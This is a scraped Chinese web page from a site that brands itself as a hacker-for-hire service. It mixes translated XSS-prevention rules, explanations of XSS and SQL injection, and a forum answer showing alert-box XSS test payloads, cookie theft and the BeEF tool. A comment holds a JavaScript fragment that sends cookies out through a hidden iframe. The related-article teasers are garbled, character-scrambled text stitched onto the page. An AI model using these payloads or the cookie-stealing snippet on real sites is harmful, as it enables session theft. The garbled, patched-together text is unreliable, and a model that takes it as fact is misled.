积极XSS防御模式 本文把HTML页面当作一个模板,模板上有很多插槽,开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的,这是“白名单”模式,否认所有不允许的事情。 根据浏览器解析HTML的方式的不同,每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时,必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说,这种 *** 将HTML文档当作参数化的数据库查询,数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则,基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试,我们保证本文提出的规则都是安全的。 定义好插槽位置,开发者们在放置任何数据前,都应该仔细分析以确保安全性。浏览器解析是非常棘手的,因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码,如 标签内。也可以对进入属性的不可行数据进行实体编码,尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效,例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename ...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/ inatagname 更重要的是,不要接受来自不可信任来源的JavaScript代码然后运行,例如,名为“callback”的参数就包含JavaScript代码段,没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时,这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的 *** 且能够躲开下列字符。但是,这对于其他HTML context是远远不够的,你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容,如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体,除了XML中5个重要字符(、、 、 "、 ')外,还加入了斜线符,以帮助结束HTML实体。 -- -- -- "--" '--''isnotrecommended /--/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等),这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则,事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外,使用小于256的ASCII值HH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用,正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏,包括[space] % * + , - / ; = ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前,进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的,因为很容易切换到执行环境,因此请小心使用。

跨站脚本攻击有哪些类型

之一种:反射型XSS攻击

反射型XSS攻击一般是攻击者通过特定手法,诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类XSS攻击通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端Cookies或进行钓鱼欺骗。

第二种:DOM-based型XSS攻击

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从URL中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的JavaScript脚本,而这些脚本没有经过适当的过滤或者消毒,那么应用程序就可能受到DOM-based型XSS攻击。需要特别注意以下的用户输入源document.URL、location.hash、location.search、document.referrer 等。

第三种:存储型XSS攻击

攻击者事先将恶意代码上传或者储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此存储型XSS攻击的危害会更大。此类攻击一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

如何测试本地程序的安全性?如 sql注入 XSS攻击

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

防护

归纳一下,主要有以下几点:

1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和

双"-"进行转换等。

2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,更好使用自定义的错误信息对原始错误信息进行包装

6.sql注入的检测 *** 一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

如何测试XSS漏洞

XSS跨站漏洞分为大致三种:储存型XSS,反射型XSS,和DOM型XSS,一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的 *** 而产生的。XSS几乎每个网站都存在,google,百度,360等都存在,存在和危害范围广,危害安全性大。

具体利用的话:

储存型XSS,一般是构造一个比如说"scriptalert("XSS")/script"的 *** 的弹窗代码进行测试,看是否提交后在页面弹窗,这种储存型XSS是被写入到页面当中的,如果管理员不处理,那么将永久存在,这种XSS攻击者可以通过留言等提交方式,把恶意代码植入到服务器网站上, 一般用于盗取COOKIE获取管理员的信息和权限。

反射型XSS,一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码,例如:127.0.0.1/admin.php?key="scriptalert("xss")/script,也是弹窗 *** 代码。当攻击者发送一个带有XSS代码的url参数给受害者,那么受害者可能会使自己的cookie被盗取或者“弹框“,这种XSS一次性使用,危害比储存型要小很多。

dom型:常用于挖掘,是因为api代码审计不严所产生的,这种dom的XSS弹窗可利用和危害性并不是很大,大多用于钓鱼。比起存储型和反射型,DOM型并不常用。

缺点:

1、耗时间

2、有一定几率不成功

3、没有相应的软件来完成自动化攻击

4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底

5、是一种被动的攻击手法

6、对website有http-only、crossdomian.xml没有用

所以楼主如果想更加深层次的学习XSS的话,更好有扎实的前后端开发基础,还要学会代码审计等等。

推荐的话,书籍建议看看《白帽子讲web安全》,《XSS跨站脚本攻击剖析与防御》

一般配合的话,kalilinux里面的BEFF是个很著名的XSS漏洞利用工具,楼主有兴趣可以去看看。

纯手工打字,望楼主采纳。

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时在线接单网站发布,如需转载请注明出处。

本文链接:https://www.cn-sl.com/112480.html

分享给朋友:

“xss的40种变形安全测试(xss攻击怎么测试)” 的相关文章

今天黄金价格多少一克(金华金店黄金价格)

各金店本日 黄金价钱 查询:本日 黄金价钱 若干 钱一克 二0 一 六年0 七月 一0日0 九: 三 一: 四 一更新,第一个非农, 二 九 九点00周熟熟饰品金价,按国际金价收买,黄金生意业务 价钱 支柱正在一 二 五 九元阁下 ,本日 海内 尾copy饰金、克阁下 ;环融投资金条收受接管 价是 ...

哪些人员可以报考面向服务基层项目人员定向招录的职位 哪些人员可以报考面向服务基层项目人员定向招录的职位

 二0 二 一地津公事 员测验 通知布告 ( 二 二0 六人)未宣布 !报名空儿: 二0 二 一年 三月 三日 八:00至 三月 九日,口试 空儿为 三月 二 七日、 二 八日。为便利 宽大 考熟相识  二0 二 一地津市考报考相闭答题,外私学育地津频叙特殊 整顿 了相闭内容,如下为 二0 二 ...

btc今日价格_币市行情k线分析

正在资产页点入BCH币种详情,私司的内涵 代价 的剖析 。如今 的阅批价钱 是 五 四00元多一点。今朝 便有一种进修 的要领 :鸣作搬砖。便是说上市私司的股票的价钱 币市取原,怎么分.本日 的阅批价钱 是若干 ?尔看到每一一野。 三线着花 ,那些人 对于阅批止情会有较年夜 影响。例如以太坊,其它的...

香菜的种植方法(香菜的种植方法和步骤)

喷鼻 菜,正在咱们那面鸣芜荽喷鼻 菜的栽种 要领 。果有一种特殊 孬味的喷鼻 气。年夜 野皆鸣它喷鼻 菜。喷鼻 菜是年夜 寡调味菜,无论鸡,鸭,鱼,年夜 肉等菜,作孬时总爱搁一点儿喷鼻 菜,看着美不雅 ,吃着喷鼻 。是饭铺 战野户弗成 短少的调味菜。 正在咱们农村,野野户户都邑 种一小畦喷鼻...

钎焊是什么意思(钎焊是什么焊接方法)

 八 五 三人加入 了 二0 一 八年 六月 二 八日 对于 一 一: 四 五分类:机器 软件查询脚册的考查钎焊是甚么意义,经常使用钎焊资料 的品牌钎焊是用熔点比焊件低的钎料取焊件一路 添冷。添冷体式格局有铬铁、喷灯、电炉、下频炉战添冷炉。添冷后,钎料融化 ,    八 五 三人加入 了 二0 ...

电刷是什么(电刷是什么东西)

甚么是单绞线?起首 从字母装分去看,R代表硬线,V代表PVC(续缘体),S代表单绞线。这咱们否以鸣RVSPVC续缘绞硬线。而且 铜导体的字母l否以省略。以是 否以很孬的懂得 RVS的齐称是铜芯PVC续缘多股硬线。从中不雅 上看,RVS是由二条RV线交错 而成,雅称单绞线、麻花线、花线等。由于 那种电...

评论列表

酒奴蒗幽
2年前 (2022-06-01)

URI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.wid

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。